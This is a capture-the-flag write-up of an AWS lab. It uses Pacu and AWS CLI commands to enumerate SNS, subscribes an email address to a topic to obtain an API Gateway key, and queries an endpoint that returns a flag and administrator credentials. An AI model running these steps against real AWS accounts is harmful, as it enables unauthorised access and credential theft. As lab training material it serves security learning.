AWS SNS Privilege Escalation Walkthrough
Initial Access
We begin with the following AWS credentials:
1 | sns_user_access_key_id = [REDACTED] |
Let’s verify who we are by running the get-caller-identity
command:
1 | aws sts get-caller-identity --profile init |
SNS Enumeration
Based on the IAM username, we can infer that this account likely has access to SNS services. Let’s use Pacu to enumerate SNS resources:
1 | Pacu (init:imported-init) > run sns_enum |
We discovered one SNS topic. Let’s retrieve the specific details for this topic:
1 | data SNS |
1 | SNS: { |
Exploiting SNS Topic Access
If our IAM user has the sns:GetTopicAttributes
permission for the target SNS topic, we can subscribe to it to gain more information. Let’s run:
1 | run sns__subscribe --topics arn:aws:sns:us-east-1:065855168369:public-topic-cgidi78fhfoxxa --email yourMAIL@gmail.com |
This will trigger a subscription confirmation email:
Approximately one minute after confirming the subscription, we receive an email containing an API Gateway key:
API Gateway Enumeration
First, let’s identify the API Gateway that will accept our newly acquired API key:
1 | aws apigateway get-rest-apis --profile init --region us-east-1 |
Finding the Stage Name
We need to identify the deployed stages:
1 | aws apigateway get-stages --rest-api-id 8iisigub4b --profile init --region us-east-1 |
Identifying Available Resource Paths
Let’s enumerate the available API endpoints:
1 | aws apigateway get-resources --rest-api-id 8iisigub4b --profile init --region us-east-1 |
Accessing Sensitive Data
Now we can construct our request using the API key to access the /user-data
endpoint:
1 | curl -X GET \ |
Success! We retrieved the flag and administrative credentials:
1 | {"final_flag":"FLAG{SNS_S3cr3ts_ar3_FUN}","message":"Access granted","user_data":{"email":"[REDACTED]","password":"[REDACTED]","user_id":"1337","username":"SuperAdmin"}} |